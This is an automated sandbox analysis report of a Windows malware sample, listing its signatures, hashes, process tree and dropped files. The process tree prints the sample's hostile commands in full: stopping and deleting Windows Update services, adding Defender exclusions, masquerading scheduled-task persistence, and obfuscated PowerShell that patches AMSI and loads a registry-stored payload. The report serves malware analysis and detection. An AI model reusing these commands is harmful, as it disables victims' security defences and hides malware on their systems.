d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408

Analysis

max time kernel
4s
max time network
6s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
02/11/2022, 22:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 3.7MB
Sample221102-1zgzjaefgr
SHA256 d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
MD5 e2fb72e358e13e40ae8327c3a9df8165
SHA1 b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA512 b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
SSDEEP 98304:YhCXGuqU2NGGt1NeI4LRnojOISqQBX37KQlXwrDaqYT6A+W:zfgOIEqQBH7K0XmQJ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 2136 created 2984	2136	file.exe	44
PID 2136 created 2984	2136	file.exe	44
PID 2136 created 2984	2136	file.exe	44

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	file.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1336	sc.exe
4720	sc.exe
2612	sc.exe
3132	sc.exe
3040	sc.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2136	file.exe
2136	file.exe
2700	powershell.exe
2700	powershell.exe
2136	file.exe
2136	file.exe
2136	file.exe
2136	file.exe
4140	powershell.exe
4140	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	4140	powershell.exe
Token: SeIncreaseQuotaPrivilege	4140	powershell.exe
Token: SeSecurityPrivilege	4140	powershell.exe
Token: SeTakeOwnershipPrivilege	4140	powershell.exe
Token: SeLoadDriverPrivilege	4140	powershell.exe
Token: SeSystemProfilePrivilege	4140	powershell.exe
Token: SeSystemtimePrivilege	4140	powershell.exe
Token: SeProfSingleProcessPrivilege	4140	powershell.exe
Token: SeIncBasePriorityPrivilege	4140	powershell.exe
Token: SeCreatePagefilePrivilege	4140	powershell.exe
Token: SeBackupPrivilege	4140	powershell.exe
Token: SeRestorePrivilege	4140	powershell.exe
Token: SeShutdownPrivilege	4140	powershell.exe
Token: SeDebugPrivilege	4140	powershell.exe
Token: SeSystemEnvironmentPrivilege	4140	powershell.exe
Token: SeRemoteShutdownPrivilege	4140	powershell.exe
Token: SeUndockPrivilege	4140	powershell.exe
Token: SeManageVolumePrivilege	4140	powershell.exe
Token: 33	4140	powershell.exe
Token: 34	4140	powershell.exe
Token: 35	4140	powershell.exe
Token: 36	4140	powershell.exe
Token: SeIncreaseQuotaPrivilege	4140	powershell.exe
Token: SeSecurityPrivilege	4140	powershell.exe
Token: SeTakeOwnershipPrivilege	4140	powershell.exe
Token: SeLoadDriverPrivilege	4140	powershell.exe
Token: SeSystemProfilePrivilege	4140	powershell.exe
Token: SeSystemtimePrivilege	4140	powershell.exe
Token: SeProfSingleProcessPrivilege	4140	powershell.exe
Token: SeIncBasePriorityPrivilege	4140	powershell.exe
Token: SeCreatePagefilePrivilege	4140	powershell.exe
Token: SeBackupPrivilege	4140	powershell.exe
Token: SeRestorePrivilege	4140	powershell.exe
Token: SeShutdownPrivilege	4140	powershell.exe
Token: SeDebugPrivilege	4140	powershell.exe
Token: SeSystemEnvironmentPrivilege	4140	powershell.exe
Token: SeRemoteShutdownPrivilege	4140	powershell.exe
Token: SeUndockPrivilege	4140	powershell.exe
Token: SeManageVolumePrivilege	4140	powershell.exe
Token: 33	4140	powershell.exe
Token: 34	4140	powershell.exe
Token: 35	4140	powershell.exe
Token: 36	4140	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3872 wrote to memory of 1336	3872	cmd.exe	83
PID 3872 wrote to memory of 1336	3872	cmd.exe	83
PID 3872 wrote to memory of 4720	3872	cmd.exe	84
PID 3872 wrote to memory of 4720	3872	cmd.exe	84
PID 3872 wrote to memory of 2612	3872	cmd.exe	85
PID 3872 wrote to memory of 2612	3872	cmd.exe	85
PID 3872 wrote to memory of 3132	3872	cmd.exe	86
PID 3872 wrote to memory of 3132	3872	cmd.exe	86
PID 3872 wrote to memory of 3040	3872	cmd.exe	87
PID 3872 wrote to memory of 3040	3872	cmd.exe	87
PID 3872 wrote to memory of 3412	3872	cmd.exe	88
PID 3872 wrote to memory of 3412	3872	cmd.exe	88
PID 3872 wrote to memory of 3536	3872	cmd.exe	89
PID 3872 wrote to memory of 3536	3872	cmd.exe	89
PID 3872 wrote to memory of 4796	3872	cmd.exe	90
PID 3872 wrote to memory of 4796	3872	cmd.exe	90
PID 3872 wrote to memory of 908	3872	cmd.exe	91
PID 3872 wrote to memory of 908	3872	cmd.exe	91
PID 3872 wrote to memory of 4324	3872	cmd.exe	92
PID 3872 wrote to memory of 4324	3872	cmd.exe	92

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2984
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3872
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1336
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4720
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2612
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3132
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3040
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:3412
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3536
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4796
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:908
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#waqsnj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsDefenderSmartScreenQC" } Else { "C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe" }
  2⤵
  PID:3828
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn WindowsDefenderSmartScreenQC
    3⤵
    PID:4016
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:2908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:4036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:zBwAcSUogvsa{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$JDCYwSNlnftlfb,[Parameter(Position=1)][Type]$ukjaRdwAeA)$ZDTBKDjmBMG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+'l'+[Char](101)+'cte'+'d'+''+[Char](68)+''+[Char](101)+''+'l'+'eg'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'M'+[Char](101)+''+[Char](109)+''+'o'+''+'r'+''+[Char](121)+'Mo'+[Char](100)+''+'u'+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+'pe','C'+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+'c'+','+[Char](83)+''+'e'+''+'a'+'l'+[Char](101)+''+[Char](100)+''+','+''+'A'+''+'n'+'si'+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+'s'+''+','+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+'ss',[MulticastDelegate]);$ZDTBKDjmBMG.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+'al'+[Char](78)+''+'a'+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+'e'+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$JDCYwSNlnftlfb).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'M'+'a'+'n'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$ZDTBKDjmBMG.DefineMethod(''+'I'+'n'+'v'+''+'o'+''+'k'+'e','P'+'u'+'b'+[Char](108)+''+'i'+'c'+','+'H'+'i'+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+','+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l',$ukjaRdwAeA,$JDCYwSNlnftlfb).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+'a'+'n'+''+'a'+''+[Char](103)+'ed');Write-Output $ZDTBKDjmBMG.CreateType();}$hMzUoBblgcFpU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+'o'+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+'.W'+[Char](105)+'n'+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+[Char](104)+'M'+[Char](122)+'Uo'+[Char](66)+'b'+'l'+''+[Char](103)+''+[Char](99)+'F'+'p'+''+[Char](85)+'');$FDZwigniieoNCh=$hMzUoBblgcFpU.GetMethod(''+[Char](70)+''+'D'+''+[Char](90)+''+[Char](119)+''+[Char](105)+'g'+[Char](110)+''+[Char](105)+''+'i'+''+[Char](101)+''+[Char](111)+'N'+[Char](67)+''+[Char](104)+'',[Reflection.BindingFlags]''+'P'+'ubl'+[Char](105)+''+[Char](99)+''+','+''+'S'+''+'t'+''+[Char](97)+''+[Char](116)+'i'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$kNapsSgBvgexHjplypj=zBwAcSUogvsa @([String])([IntPtr]);$InUYIYRvwSrMgKSaagGCRT=zBwAcSUogvsa @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$KSYHUeoesoU=$hMzUoBblgcFpU.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+'a'+'n'+'dl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+'.'+''+'d'+''+'l'+''+[Char](108)+'')));$NZOqUTSwcLZxYo=$FDZwigniieoNCh.Invoke($Null,@([Object]$KSYHUeoesoU,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$rHwKQxSvAhWPwhwBs=$FDZwigniieoNCh.Invoke($Null,@([Object]$KSYHUeoesoU,[Object](''+'V'+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'lP'+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+'c'+[Char](116)+'')));$GrEbbGz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NZOqUTSwcLZxYo,$kNapsSgBvgexHjplypj).Invoke(''+'a'+''+[Char](109)+''+'s'+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$EWrcrfjKjkfdvvxcB=$FDZwigniieoNCh.Invoke($Null,@([Object]$GrEbbGz,[Object](''+[Char](65)+'ms'+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+'uff'+[Char](101)+'r')));$EVwevwCfHg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rHwKQxSvAhWPwhwBs,$InUYIYRvwSrMgKSaagGCRT).Invoke($EWrcrfjKjkfdvvxcB,[uint32]8,4,[ref]$EVwevwCfHg);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$EWrcrfjKjkfdvvxcB,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rHwKQxSvAhWPwhwBs,$InUYIYRvwSrMgKSaagGCRT).Invoke($EWrcrfjKjkfdvvxcB,[uint32]8,0x20,[ref]$EVwevwCfHg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+[Char](108)+''+'e'+''+'r'+''+[Char](115)+'t'+[Char](97)+'ge'+'r'+'')).EntryPoint.Invoke($Null,$Null)
1⤵
PID:3480

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:SvcnkFKsEqyo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DIJtBurzWZzsIR,[Parameter(Position=1)][Type]$egagDaSrtl)$XXvxrOnAFiv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+'f'+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+'a'+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+''+'m'+'o'+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+'ul'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'ga'+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+','+[Char](65)+'ns'+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+'s'+''+','+''+[Char](65)+'ut'+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$XXvxrOnAFiv.DefineConstructor('R'+'T'+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+'i'+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$DIJtBurzWZzsIR).SetImplementationFlags(''+[Char](82)+'unt'+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+''+[Char](103)+''+'e'+''+'d'+'');$XXvxrOnAFiv.DefineMethod('I'+[Char](110)+''+'v'+''+'o'+''+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'de'+'B'+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+'ew'+[Char](83)+''+'l'+'ot'+','+''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$egagDaSrtl,$DIJtBurzWZzsIR).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+'na'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $XXvxrOnAFiv.CreateType();}$NUfeZZdvVxFSD=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType('Mic'+[Char](114)+''+'o'+''+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+'.'+'U'+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+'e'+'N'+'Ufe'+[Char](90)+'Z'+[Char](100)+''+[Char](118)+'Vx'+[Char](70)+'S'+[Char](68)+'');$QFSIaXYolWyXLH=$NUfeZZdvVxFSD.GetMethod(''+[Char](81)+'F'+[Char](83)+''+[Char](73)+'a'+'X'+''+[Char](89)+'o'+[Char](108)+''+[Char](87)+''+[Char](121)+''+'X'+'L'+'H'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+'i'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YeprMIARDWfFxUbxHoo=SvcnkFKsEqyo @([String])([IntPtr]);$vkGTJiAWhDgSjzQSLypWkc=SvcnkFKsEqyo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$khDmQfbaFIF=$NUfeZZdvVxFSD.GetMethod(''+[Char](71)+'et'+'M'+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+'e'+'H'+'a'+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+'2'+'.d'+'l'+''+[Char](108)+'')));$gMmSbcItbtHkUk=$QFSIaXYolWyXLH.Invoke($Null,@([Object]$khDmQfbaFIF,[Object](''+'L'+'o'+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+'A'+'')));$RLRAinXwQpQZzyIvt=$QFSIaXYolWyXLH.Invoke($Null,@([Object]$khDmQfbaFIF,[Object]('V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+'r'+'o'+''+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$PcpgJAA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gMmSbcItbtHkUk,$YeprMIARDWfFxUbxHoo).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+'.'+'d'+'l'+[Char](108)+'');$vNXLUqfIOAQnaDzlb=$QFSIaXYolWyXLH.Invoke($Null,@([Object]$PcpgJAA,[Object]('A'+[Char](109)+''+'s'+'i'+[Char](83)+''+'c'+'a'+'n'+'B'+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+'r')));$bBiWgzbmls=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RLRAinXwQpQZzyIvt,$vkGTJiAWhDgSjzQSLypWkc).Invoke($vNXLUqfIOAQnaDzlb,[uint32]8,4,[ref]$bBiWgzbmls);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vNXLUqfIOAQnaDzlb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RLRAinXwQpQZzyIvt,$vkGTJiAWhDgSjzQSLypWkc).Invoke($vNXLUqfIOAQnaDzlb,[uint32]8,0x20,[ref]$bBiWgzbmls);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+'l'+''+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+'a'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
PID:3472

C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe
"C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe"
1⤵
PID:4864

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{609b4dc4-50c1-42f5-9ebe-c16883e8bd33}
1⤵
PID:1252

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

SmartScreenQC.exe

Path C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe
Size 3.7MB
SHA256 d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
MD5 e2fb72e358e13e40ae8327c3a9df8165
SHA1 b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA512 b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
SSDEEP 98304:YhCXGuqU2NGGt1NeI4LRnojOISqQBX37KQlXwrDaqYT6A+W:zfgOIEqQBH7K0XmQJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3d6b21b317f79c633a9efe92442bd5572b9109b126b4c4995c753deb105fa77e
MD5 eee301e8405cbf7551ff22228ff58484
SHA1 839c5e6827df726b751519a0dea8cde88dee2ece
SHA512 98fe19395bb070a01dacf7f010ec42ef82eb7575defe95de0f8667fb033d41cc8e9d0e513ce363041deff768e4fececd7e8b6fb3c4b69627c209f1dc9f323c14
MD5 SHA1 SHA512

Submit Download

memory/580-173-0x00007FF9E3F10000-0x00007FF9E3F20000-memory.dmp

Download

memory/1252-172-0x00007FFA231B0000-0x00007FFA2326E000-memory.dmp

Download

memory/1252-167-0x0000000140000000-0x0000000140029000-memory.dmp

Download

memory/1252-170-0x0000000140000000-0x0000000140029000-memory.dmp

Download

memory/1252-171-0x00007FFA23E90000-0x00007FFA24085000-memory.dmp

Download

memory/2700-132-0x0000020745130000-0x0000020745152000-memory.dmp

Download

memory/2700-133-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmp

Download

memory/2700-134-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmp

Download

memory/3472-156-0x00007FFA06A20000-0x00007FFA074E1000-memory.dmp

Download

memory/3472-165-0x00007FFA23E90000-0x00007FFA24085000-memory.dmp

Download

memory/3472-166-0x00007FFA231B0000-0x00007FFA2326E000-memory.dmp

Download

memory/3480-157-0x0000000004370000-0x0000000004998000-memory.dmp

Download

memory/3480-155-0x0000000003C80000-0x0000000003CB6000-memory.dmp

Download

memory/3480-158-0x00000000049D0000-0x00000000049F2000-memory.dmp

Download

